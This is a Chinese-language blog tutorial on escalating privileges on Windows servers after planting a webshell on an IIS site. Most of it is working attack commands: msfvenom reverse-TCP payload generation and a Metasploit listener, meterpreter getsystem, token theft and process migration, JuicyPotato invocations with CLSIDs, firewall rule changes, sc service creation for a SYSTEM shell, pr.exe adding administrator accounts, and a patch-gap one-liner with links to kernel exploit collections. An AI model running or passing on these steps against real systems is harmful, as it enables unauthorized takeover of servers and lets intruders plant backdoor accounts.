提權 | Windows系統

竹等寒發表於2024-10-23

目錄
  • cmd提權
  • meterpreter提權
    • getsystem
    • steal_token
    • migrate
  • 令牌竊取(MS16-075)
    • 爛土豆提權步驟
    • 爛土豆提權原理
  • sc命令提權
  • 抓本地密碼提權
  • 其他工具
      • pr工具
    • 核心提權
      • WindowsVulScan

cmd提權

前言:我們getshell一個用windows部署的網站後,透過蟻劍或者其他工具進行連線的時候通常許可權是不夠的,執行簡單的dir指令都會被拒絕訪問,那麼這時候其實就可以透過上傳一個cmd直接進行提權,可以執行一些簡單的命令而不至於一個指令都無法執行。

由於windows的iis網站部署使用的使用者是windows指派的iuser使用者,iuser沒有cmd的使用許可權,所以無法執行指令。

  • 假設我們已經把木馬放到了windows服務端上,透過蟻劍或者菜刀等等工具進行連線。如果能夠訪問到c盤的目錄那就直接下載下來,然後透過iuser使用者上傳到網站目錄中,如果不可以那就使用上傳檔案功能上傳一個cmd.exe,最好是和他windows系統版本匹配的cmd。在這裡插入圖片描述
    上傳cmd程式到網站目錄下
    在這裡插入圖片描述
  • 在網站目錄下右鍵開啟菜刀的虛擬虛擬終端,設定好我們要使用的cmd.exe程式。
    注(在使用菜刀中):需要在該網站目錄下開啟虛擬終端,不要去連線列表項處右鍵,否則會出現連dir都無法執行的情況,起碼你在網站根目錄下右鍵進入的許可權還是個iuser使用者能夠執行簡單指令。
setp c:\wwwtest\1111\cmd.exe

設定完成之後就可以進行一些指令操作了,
但是很遺憾的是我們whoami出來的使用者依舊是windows指派給iis的iuser使用者,
這裡的network service就是指iuser使用者。
比如我們無法進行使用者的新增。

在這裡插入圖片描述
這時候就需要利用windows的一些系統漏洞了,檢視windows服務端有哪些往年爆出來的漏洞但是他沒有打補丁。

meterpreter提權

這裡使用meterpreter的前提是你在本機使用監聽器監聽埠,然後把提前生成的這個木馬檔案讓目標機點選執行了,監聽器連線上session會話即可使用meterpreter進行後滲透工作。

這裡簡單介紹兩個指令:

#以下指令中的木馬檔案生成路徑都是可以修改的,不要過於死板
#裡面的yourip是攻擊機的ip,因為客戶機要透過木馬連線你
> msfvenom -p windows/meterpreter/reverse_tcp lhost=yourip lport=5000 -f exe -o /root/happy.exe 
> msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=yourip LPORT=4444 -f exe > abc.exe

在這裡插入圖片描述
到這裡先別直接讓目標機執行起來,而是需要我們在metasploit中開啟監聽器,再讓目標機執行木馬連線我們。

use exploit/multi/handler  //使用msf的監聽模組
set lhost 192.168.100.120  //設定好監聽器的ip地址,我這裡就是kali主機ip地址
run  //run就直接執行了,正在監聽中(也可以使用exploit指令)

切記,use之後一定要切換payload,不要使用預設的,不然我們上面的payload生成木馬指令對應不上就連線不上了(因為我後面就是出現這個原因導致回來寫這句話)
在這裡插入圖片描述
設定payload

set payload windows/meterpreter/reverse_tcp

在這裡插入圖片描述

設定引數,然後run就是開始監聽了
在這裡插入圖片描述
將木馬檔案傳到目標機器上,讓其執行起來

菜刀上傳

在這裡插入圖片描述
菜刀命令列執行起來
在這裡插入圖片描述
但是沒關係,只要執行起來了, 就能看到我們的meterpreter成功拿下主機
在這裡插入圖片描述

meterpreter下提權指令,這裡介紹幾個,我們上面使用whoami還是iuser使用者,所以還沒達到提權的目的。

getsystem #直接升至system許可權
migrate 程序號    #需要你找到高許可權的程序,然後遷移至他的pid實現提權

getsystem

用法:getsystem

msf拿到shell後進入meterpreter,直接輸入getsystem即可嘗試提權。
在這裡插入圖片描述

steal_token

用法:steal_token PID

竊取system許可權開啟程序的使用者的令牌,一般是找system使用者,拿system許可權開啟的程序的token令牌提權,是否成功可以透過getuid來檢視是否為system許可權

migrate

程序遷移提權

migrate 程序號用法如下

  • 首先使用ps檢視哪些程序被較高使用者許可權開啟的程序,原理是透過該指令將他的許可權移植到我們自己這裡來。
  • 比如下面的336,是system開啟的,我們就可以嘗試將他的許可權移植給我們
    在這裡插入圖片描述
    耐心等待一下
    在這裡插入圖片描述
    在這裡插入圖片描述
    成功移植,如果有時候getsystem不好使可以嘗試一下這個。

令牌竊取(MS16-075)

工具百度網盤分享:
https://pan.baidu.com/s/1u-9f1_kRjfhjfmG6qV5ThQ?pwd=ws5x

爛土豆提權步驟

1.檢視是否符合提權條件

whoami /all 或 whoami /priv

如果`SeImpersonate` or `SeAssignPrimaryToken` 兩個許可權其中有一個開啟了即可提權,都關閉即不符合條件

2.去CLSID目錄下查詢CLSID

執行命令:
Powershell -ep bypass -f GetCLSID.ps1 > CLSID.list

目錄下的GetCLSID.ps1和GetCLSID2.ps1 都能用,
如果GetCLSID.ps1用不了就用`GetCLSID2.ps1`,
而且我一般都用`GetCLSID2.ps1`
輸出到CLSID.list檔案中,是為了後續測試CLSID是否能用做鋪墊

在這裡插入圖片描述

3.測試可用的CLSID,bat檔案在juicy-potato\Test\test_clsid.bat

上一步使用Powershell -ep bypass -f GetCLSID.ps1執行出來的內容輸出到檔案CLSID.list裡面
然後把`JuicyPotato.exe`、`CLSID.list`、`test_clsid.bat`三個檔案在同一目錄即可
接著直接執行視窗執行test_clsid.bat即可看到哪些可以用的CLSID了

在這裡插入圖片描述

4.接著就可以使用爛土豆exe程式了
這裡用哪個CLSID的話就要開啟看log檔案,後面會對應著這個CLSID使用者(選擇SYSTEM的就提權為SYSTEM許可權)
在這裡插入圖片描述

比如我們選擇第一個CLSID
JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -l 1155 -c {000C101C-0000-0000-C000-000000000046}


-t *表示-t t 或者-t u都可以,*代表SeImpersonate和SeAssignPrimaryToken隨便開一個即可,
另外`-t t`代表`SeImpersonate`,而`-t u`代表`SeAssignPrimaryToken`,所以還是跟著官方教程直接使用*即可
他的教程也有說`-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both`
-p指定cmd路徑,這裡就是要以system許可權啟動的程式,待會拿到cmd執行whoami的時候就是system許可權了(桌面彈新cmd視窗)
-l指定一個沒有被系統使用的埠,沒有固定值
-c指定可用的CLSID

5.細節:還要注意檢視RPC預設埠是否為135 && 注意防火牆是否允許是否允許RPC埠入站

埠問題:
RPC預設埠是否為135,如果不是的話就需要修改,只修要新增-n引數指定埠即可
比如:`JuicyPotato.exe -n 111 -t * -p c:\windows\system32\cmd.exe -l 1155 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}`


防火牆問題:注意埠號,如果不是135自己修改 localport=135 的值即可
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

6.提權成功會在桌面彈出一個system許可權的cmd視窗
但是我這裡沒找到合適的虛擬機器,也就是說SeImpersonate or SeAssignPrimaryToken 兩個許可權都沒有開,所以失敗了
如果成功的話是會彈出一個CLSID對應使用者許可權的cmd視窗
在這裡插入圖片描述

爛土豆提權原理

COM物件即LocalService,而LocalService使用者預設具有SeImpersonate和SeAssignPrimaryToken許可權
- 開啟SeImpersonate許可權後,能夠在呼叫CreateProcessWithToken時,傳入新的Token建立新的程序
- 開啟SeAssignPrimaryToken許可權後,能夠在呼叫CreateProcessAsUser時,傳入新的Token建立新的程序

下面就是認證替換資料獲取system許可權原理
1、嘗試載入COM,發出請求,你發起的這個請求載入的com的許可權為System。這裡的COM物件可以查到CLSID看使用者是什麼許可權的使用者,所以這也就是為什麼我們提權前需要用對應為system許可權的CLSID
2.上一步的發起載入COM主要是為了拿到回應步驟1的請求的這個資料,這裡會回應然後發起NTLM認證,但是很明顯你不是system許可權,所以無法認證認證成功。(目的達到了,拿到請求system許可權回應過來的NTLM資料)
3.針對本地埠,同樣發起NTLM認證,許可權為當前使用者,這裡肯定會認證成功,所以拿到認證成功的NTLM認證的資料
4.分別攔截兩個NTLM認證的資料包,透過NTLM重放使得(許可權為System)的NTLM認證透過,然後拿到system的token資料。(越權漏洞)
5.拿著system許可權的token啟動程式,建立出來的程序就是system許可權了,比如cmd

sc命令提權

針對版本windows 7、8、03、08、12、16

這種通常需要直接遠端主機或者比較強的反彈shell中使用才行

這種方式是透過建立服務的方式進行提權,不過使用webshell比較弱的連線方式是無法做到在聯結器中進行提權,所以這裡演示的是直接在目標機中直接使用命令進行提權。

Administrator不是最高的許可權,system才是,所以我們在Administrator中也能夠體現出提權效果。

如下:

首先開啟cmd終端,現在屬於Administrator使用者,現在要提權為system許可權。

命令
新增服務:sc Create syscmd binPath= "cmd /K start" type= own type= interact
執行服務:sc start syscmd

syscmd在新增服務的時候可以定義服務名稱,執行服務的時候也是用這個名稱,為了具有迷惑性,所以我一般選擇syscmd等等其他名字也可以。
執行服務後會自動彈出另一個dos視窗,而不是在本視窗中,這也是webshell用不了的原因。webshell太拉了。

在這裡插入圖片描述

抓本地密碼提權

這裡要是能抓到管理員的密碼登入也是提權的一種方式,在內網滲透中有提到本地密碼提取,但是你要用工具拿密碼的一般都需要高許可權,我們現在就處於低許可權,所以比較
內網滲透-內網資訊收集(一):
https://blog.csdn.net/weixin_60521036/article/details/142964820

其他工具

工具有很多,pr、巴西烤肉、iis6等等。這裡就介紹pr提權。

pr工具

主要適用於‌Windows Server 2003‌和‌Windows XP‌系統‌

這裡演示一個pr和一個pr免引數的debug.exe,我們丟到靶機上面試試,提權工具在github上搜就能搜到。
在這裡插入圖片描述
上傳成功後,開啟虛擬終端,在上傳檔案目錄下 直接執行該程式即可 。執行成功後可以看到他執行了哪些指令,其實這個一看就知道是預設建立了一個temp使用者名稱,密碼是123456,然後將使用者新增到了管理員使用者組中,那麼我們就可以拿著這個使用者去遠端連線這個目標機了
在這裡插入圖片描述
如果想指定使用者名稱和密碼的就是用pr.exe上傳過去使用,用法是:pr.exe "net user uname passwd /add" , 用法其實就是windows正常建立使用者的指令語法,只不過是將引數傳到pr.exe中讓他幫你建立,注意,這裡依舊是幫你自動新增到管理員使用者組,你可以net user檢視一下使用者組成員。

那麼問題來了,既然pr.exe可以幫我們執行建立使用者和新增使用者組行為,那是不是也可以執行其他操作??對的!!

pr.exe "指令寫在這就會按照system使用者幫你執行"

如下所示:(這裡提前將pr.exe上傳過去目標機了)
在這裡插入圖片描述

核心提權

一般我還是用核心提權居多。
微軟官方公佈的漏洞編碼號:https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

快速查詢未安裝的補丁cmd指令:

systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

指令輸入後看到很多補丁沒有打的話,補丁上面對應的這些漏洞都可以嘗試一下。

拿著沒有打的漏洞補丁去github上看對應的提權工具:https://github.com/SecWiki/windows-kernel-exploits

在這裡插入圖片描述
對應的exp推薦以下的連結地址,但是都是目前已公佈的,未公佈的誰也不敢發。

已對外公開exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation

在這裡插入圖片描述
exp有直接的exe執行程式的話就可以把這個exe程式丟到目標機上,讓目標機執行

在這裡插入圖片描述
下面還有對應的使用方法,一般都是使用msf來連線控制目標機的。

在這裡插入圖片描述

WindowsVulScan

還可以透過WindowsVulScan工具來收集可打的漏洞

1.將KBCollect.ps1檔案放到目標主機上

2.在cmd輸入powershell,然後執行.\KBCollect.ps1

3.若是由於許可權報錯,下面方法可以解決
====================第一種方法=========================
​	輸入:get-ExecutionPolicy
 	(此時會輸出得到:Resticted)
​	輸入:Set-ExecutionPolicy-Scope CurrentUser
​	輸入:RemoteSigned
​	驗證是否解決問題,輸入:get-ExecutionPolicy
 	(此時返回RemoteSigned的話問題得到解決)
======================================================
====================第一種方法=========================
解決辦法:(參考文章:https://ligowi.github.io/2021/02/04/RemoteSigned%E9%97%AE%E9%A2%98/)
1》Windows+R;
2》輸入PowerShel l;
3》執行 “Set-ExecutionPolicy -Scope CurrentUser”;
4》出現ExecutionPolicy: ,填入RemoteSigned;
5》輸入Y
6》關閉PowerShel ,然後執行get-ExecutionPolicy,發現變成了RemoteSigned,就成功了。
======================================================
4.繼續執行.\KBCollect.ps1會生成補丁檢測包KB.json

5.把補丁檢測包放到我們的物理機上

6.執行python cve-check.py -C -f KB.json

接著就去github漏洞庫找到對應的漏洞去提權即可,下面是漏洞庫

漏洞庫:https://github.com/nomi-sec/PoC-in-GitHub

ps1指令碼放到目標機器上使用powershell執行,報錯後我這裡使用了第二種方式最後才成功執行指令碼,報錯第二種解決方法在上面有寫這裡省略了,直接看執行結果。
在這裡插入圖片描述
然後按照步驟將KB.json檔案或者內容在指令碼中執行
在這裡插入圖片描述

python cve-check.py -C -f KB.json

結果出來後就可以看到哪些漏洞可以打,然後去漏洞庫找exp就行了
在這裡插入圖片描述

END.

相關文章